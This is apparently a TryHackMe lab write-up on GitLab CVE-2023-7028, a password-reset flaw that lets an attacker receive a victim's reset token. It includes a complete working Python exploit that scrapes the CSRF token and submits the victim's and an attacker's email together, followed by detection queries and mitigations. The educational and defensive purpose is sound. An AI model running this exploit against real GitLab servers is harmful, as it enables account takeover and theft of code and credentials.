TryHackMe GitLab CVE-2023–7028

Joseph Alan
6 min readJan 20, 2024

--

GitLab CVE-2023–7028

Task 1 Introduction

Learning Objectives

  • Exploit a GitLab CE instance through CVE 2023–7028
  • How the exploit works
  • Protection and mitigation measures

Task 2 How Does It Work

  • The bug in the password reset functionality allows an attacker to provide 2 email addresses during a password reset request
  • The reset code would be received by both the email addresses
  • This allowed the attacker to reset the password of any user without having to know the previous password

Affected Versions

All instances of GitLab CE/EE using the following versions were vulnerable:

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

Impact

  • This attack when successfully performed would allow the attacker to gain complete access over the victim’s GitLab account
  • This could allow the attacker to steal sensitive information related to the victim such as stored credentials to other services, source code and much more

Detailed Explanation

  • The vulnerability was present in the GitLab’s POST /users/password API endpoint, which is responsible for a password reset
  • The attacker can then exploit a flaw in the email address validation with invalid formats
  • Upon receiving the request with an attacker controlled email
  • GitLab then generates a reset token and proceeds to send it to the invalid address
  • The attacker then intercepts this token and use it with a valid email to initiate a password reset and perform the account hijacking successfully

Looking Closely

  • While having a look at the password reset request in GitLab it can be observed that it is sending in a request to the /users/password endpoint with the authenticity_token (hidden CSRF protection token) and email address as a parameter
  • If a target provides another secondary email address, a password reset token is also sent to the address

To understand how the vulnerability works, let’s have a source code review of the Gitlab 16.1 (CE) stable version commits carried out after 10 Jan 24. We can see that multiple changes have been made in the file’s repository.

The code located at spec/controllers/passwords_controller_spec.rb was accepting multiple emails as input; however, it lacked the email verification and validation mechanism to confirm if it was associated with the correct user.

The attacker only required the authenticity_token during form submission and the victim’s email address to gain control of the target account.

Answers

Task 3 Exploitation

Adding the hostname to the /etc/hosts file on the attacking machine —

Visiting the URL http://gitlab.thm:8000

Copy the modified POC and create a file named attack.py

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()

Source Code Review —

  1. CSRF Token Retrieval:
  • The get_csrf_token method is responsible for obtaining the CSRF token from the GitLab instance.
  • It makes an HTTP GET request to the password reset page and extracts the CSRF token from the HTML response using a regular expression.

2. Password Reset Request:

  • The ask_reset method utilizes the obtained CSRF token to craft a password reset request.
  • The request is sent to the GitLab instance using an HTTP POST request with the necessary headers and payload.
  • The method checks if the request was successful by examining the response HTML and prints debug information accordingly.
  • If successful, it prints a message indicating that emails were sent to the provided target and evil email addresses.

Performing The Exploit —

Logging into the attackers email address to see if the password reset link has arrived

Task 4 Detection & Mitigation

Examining Logs If we have an SIEM solution that captures weblogs, we can create an alert or use this search query to look for the following possible exploitation attempts:

  • Check for weblogs for API calls to /users/password with multiple email addresses.
  • Inspect email server logs for messages from GitLab with unexpected recipients (attacker-controlled emails).
  • Examine GitLab audit logs for entries containing a value for meta.caller.id as PasswordsController#create.

Mitigation Techniques

As part of mitigation, GitLab has officially released the patch. We can see from the source code review that additional validation and verification steps have been added to the GitLab source code repository for the email address to curtail the possibility of exploitation in the future.

However, it is of paramount importance to see that non-compliance with secure coding practices leads to disastrous results.

So far, we learned how to perform the attack and how to detect the attack patterns in the logs; let’s talk about a few mitigation steps that we can take to prevent our servers from being exploited.

  • Upgrade GitLab to a patched version.
  • Enable two-factor authentication (2FA) for all GitLab accounts, especially administrator accounts.
  • Follow secure coding practices, including proper input validation and email address verification.

Task 5 Conclusion

The Following Points Were Practically Exploited In This Challenge

  • The latest vulnerability in GitLab, which is assigned the CVE ID 2023–7028.
  • Simple ways to exploit the vulnerability to gain unauthorised access to the GitLab account.
  • How to mitigate the vulnerability.

--

--

Joseph Alan

Cloud Security Engineer | AWS Solutions Architect Professional | CompTIA Cysa+|AWS sysops admin with LAB | TryHackMe top 1%| HackTheBox Rank - Pro Hacker